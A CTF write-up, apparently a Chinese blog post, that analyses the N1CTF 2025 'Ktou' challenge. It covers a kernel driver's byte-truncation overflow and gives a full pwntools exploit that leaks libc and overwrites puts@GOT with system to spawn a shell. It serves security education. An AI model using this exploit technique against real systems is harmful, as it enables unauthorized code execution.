N1CTF 2025 pwn Ktou

N1CTF 2025 pwn Ktou解析

ktou

本题是用户态pwn和内核态pwn结合的一道题。

分析

run.sh

#!/bin/bash
qemu-system-x86_64 \
    -m 512M \
    -cpu kvm64,+smep,+smap \
    -smp cores=2,threads=2 \
    -kernel bzImage \
    -hda ./rootfs.img \
    -nographic \
    -monitor /dev/null \
    -snapshot \
    -append "console=ttyS0 root=/dev/sda rw rdinit=/sbin/init kaslr pti=on quiet oops=panic panic=1" \
    -drive file=/flag,if=virtio,format=raw,readonly=on \
    -no-reboot \
    -s

常见的保护基本都开了。

rcS

#!/bin/sh
chown -R root:root /
chmod 700 /root
chown -R ctf:ctf /home/ctf

mount -t proc none /proc
mount -t sysfs none /sys
mount -t tmpfs tmpfs /tmp
mkdir /dev/pts
mount -t devpts devpts /dev/pts

echo 1 > /proc/sys/kernel/dmesg_restrict
echo 1 > /proc/sys/kernel/kptr_restrict

insmod /root/ktou.ko

chmod 666 /dev/ktou_dev
chmod 666 /root/user

echo -e "\nBoot took $(cut -d' ' -f1 /proc/uptime) seconds\n"
cp /root/user /home/ctf/user 
chmod 777 /home/ctf/user
chmod 444 /home/ctf/flag

cd /home/ctf
setsid cttyhack su ctf -c /home/ctf/user
# setsid cttyhack setuidgid 100 sh
poweroff -d 0  -f

这里再内核启动时就会运行,/home/ctf/user这个程序,并且我们的权限刚好可以读取flag文件,所以我们的目的就不是提权,而且能执行shell。

ktou.ko

init

在这里插入图片描述

内核驱动在初始化的时候会创建一个0x1000大小的obj,其返回地址储存在memory_pool中

ioctl

__int64 __fastcall device_ioctl(__int64 fd, __int64 rsi, __int64 rdx)
{
  unsigned __int8 size; // bl
  unsigned __int64 idx; // rsi
  unsigned int type; // eax
  __int64 v6; // rdx
  __int16 v8; // di
  __int64 v9; // rsi
  unsigned __int64 v10; // [rsp+0h] [rbp-30h] BYREF
  __int64 v11; // [rsp+8h] [rbp-28h]
  unsigned __int64 v12; // [rsp+10h] [rbp-20h]

  v12 = __readgsqword(0x28u);
  if ( copy_from_user(&v10, rdx, 16LL) )
    return -14LL;
  size = v10;
  idx = v10 >> 8;
  type = BYTE3(v10);
  if ( BYTE1(v10) <= 0xFu )
  {
    if ( type == 3 )                            // 特殊写入操作
    {
      v8 = v10 + write;
      v9 = (unsigned __int8)write + (unsigned int)(unsigned __int8)v10;
      v10 += write;
      write_offset = (unsigned __int8)(size + write);
      if ( (unsigned int)v9 > 0x100 )
      {
        printk(&unk_5E8, v9, 256LL);            // Size too large: 0x%02X (max=0x%02X)
      }
      else if ( !copy_from_user(memory_pool + (unsigned __int8)write + (unsigned __int64)(v8 & 0xF00), v11, size) )
      {
        printk(&unk_5B0, BYTE1(v10), (unsigned __int8)v10);
        return 0LL;
      }
      return -14LL;
    }
    v6 = (v10 >> 24) & 0xFC;
    if ( (_DWORD)v6 )
    {
      if ( type == 4 )                          // 打印,无实际操作
      {
        printk(&unk_691, BYTE1(v10), v6);
        return 0LL;
      }
    }
    else
    {
      if ( type == 1 )                          // 读取操作
      {
        copy_to_user(v11, memory_pool + (BYTE1(v10) << 8), (unsigned __int8)v10);// 从memory_pool读取数据到用户空间
        printk(&unk_588, (unsigned __int8)idx, size);// READ: index=0x%02X, size=0x%02X
        return 0LL;
      }
      if ( type == 2 )                          // 写入操作
      {
        if ( !copy_from_user(memory_pool + (BYTE1(v10) << 8), v11, (unsigned __int8)v10) )// 从用户空间写入数据到memory_pool
        {
          write += size;
          write_offset = size;                  // 更新写入偏移量
          printk(&unk_5B0, (unsigned __int8)idx, size);// WRITE: index=0x%02X, size=0x%02X write_offset:%lu
          return 0LL;
        }
        return -14LL;
      }
    }
    printk(&unk_6A8, type, v6);                 // Unknown operation: 0x%08lX
    return -22LL;
  }
  return -22LL;
}

这里主要有3个操作:

  • 操作1:从memory_pool中的obj中读取数据到用户空间
  • 操作2:从用户空间写入数据到memory_pool中的object,这里有个问题就是write的大小会随着写入的大小一直做加法,变大
  • 操作3(漏洞点一):特殊写入操作,目的是追加内容,但当我们特意设置特定的写入大小就会导致溢出,导致我们能向idx == 0的地方写入数据。

因为操作3中是(unsigned __int8)write这意味着只会取前1个字节如果write的大小为0x100,在(unsigned __int8)write的情况下就会取到0x00,
然后(unsigned __int64)(v8 & 0xF00)也是可以操作的如果 v8 & 0xf00 == 0,那么
memory_pool + (unsigned __int8)write + (unsigned __int64)(v8 & 0xF00) == memory_pool + 0 + 0 就会向idx == 0的地方写入数据,这是一个利用点,下面会详细讲到。

user程序

初始

在这里插入图片描述
在程序刚运行时,会利用操作1memory_pool中的object写入一个前8字节是0x405220dest地址,后8位是0xDEADBEEF的数据,这里的idx == 0,这意味着会在object的零偏移处写入这些数据。大概如下图:
在这里插入图片描述

然后会打印dest的内容也就是0x405220的内容

update函数(任意地址写)

在这里插入图片描述

这里会从obj中idx==0的位置处读取16字节,前8字节就是dest的地址0x405220,然后把0x405220赋值给v7,0xdeadbeef给v8
后面会让用户输入一段base64加密的数据,然后会调用sub_4014AA()函数解码,然后把解码的数据写入v7,也就是写入dest的地址里

show函数

在这里插入图片描述

这个函数会将idx == 0时,第一个元素所指向的内容输出出来,也就是dest的内容输出

写入函数

在这里插入图片描述
这里就是调用两种写入方式的函数,然后写入数据。

利用思路

  1. 先利用update函数dest写入“/bin/sh\x00”
  2. 因为user程序开始时会写入0x10大小的数据,这时write = 0x10,后面我们再利用普通的写入向 idx == 0xf 处写入0xf0大小的数据,就会使得 write = 0x10+0xf0 = 0x100
  3. 然后利用追加函数,写入puts_got,因为 write = 0x100使得 (unsigned __int8)write = 0x00 , v10 = 0x3000ff0,所以v10 + write == 0x3000ff0 + 0x100 = 0x30010F0,所以 0x30010F0&0xF00 = 0x00,所以会向 memory_pool + 0 + 0中写入数据,也就是向 idx == 0中写入数据,这时写入 puts函数的got表就会覆盖之前的dest地址
  4. 调用shou函数,这时就会输出idx == 0处元素所指向的内容,也就是puts_got的内容,就会泄露puts函数的地址,然后计算libc_base
  5. 再调用 update函数,向puts的got表中写入system函数,最后puts(dest);的时候就相当于调用 system(“/bin/sh\x00”);

EXP

from pwn import *
from LibcSearcher import *
import base64

context(log_level='debug',arch='amd64', os='linux')

pwnfile = "./run.sh"
# elf = ELF(pwnfile)
libc = ELF("./libc.so.6")


s       = lambda data               :io.send(data)
sa      = lambda delim,data         :io.sendafter(delim, data)
sl      = lambda data               :io.sendline(data)
sla     = lambda delim,data         :io.sendlineafter(delim, data)
r       = lambda num=4096           :io.recv(num)
ru      = lambda delims		    :io.recvuntil(delims)
itr     = lambda                    :io.interactive()
uu32    = lambda data               :u32(data.ljust(4,b'\x00'))
uu64    = lambda data               :u64(data.ljust(8,b'\x00'))
leak    = lambda name,addr          :log.success('{} ==========================>>> {:#x}'.format(name, addr))
lg      = lambda address,data       :log.success('%s: '%(address)+hex(data))


def read(idx,size):
	sla(b"Please select an option:",b"1")
	sla(b"Index (1-15): ",str(idx))
	sla(b"Size (1-255):",str(size))
	sl(b"6")


def write(idx,size,data):
	sla(b"Please select an option:",b"2")
	sla(b"Index (1-15): ",str(idx))
	sla(b"Size (1-255):",str(size))
	sla(b"bytes): ",data)
	sl(b"6")


def append(idx,size,data):
	sla(b"Please select an option:",b"3")
	sla(b"Index (1-15): ",str(idx))
	sla(b"Size (1-255):",str(size))
	sla(b"bytes): ",data)
	sl(b"6")

def show():
	sla(b"Please select an option:",b"4")
	sl(b"6")



def update(data):
	sla(b"Please select an option:",b"5")
	sla(b"Enter new program description:",data)
	sl(b"6")
	


def pwn():

	# pause()

	puts_got = 0x0405030

	update(base64.b64encode(b"/bin/sh\x00"));

	write(15,0xf0,b"a"*8);
	append(15,8,p64(puts_got));
	
	show()
	ru(b"content: \r\n")
	puts_addr = uu64(r(6))
	leak("puts_addr",puts_addr)
	libc_base = puts_addr - libc.sym["puts"]
	leak("libc_base",libc_base)

	system_addr = libc_base + libc.sym['system']
	update(base64.b64encode(p64(system_addr)))

	itr()



if __name__ == "__main__":
	# while True:
		# io = remote("47.94.172.90",22530)
		io = process(pwnfile)
		try:
			pwn()
		except:
			io.close()

评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

saulgoodman-q

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值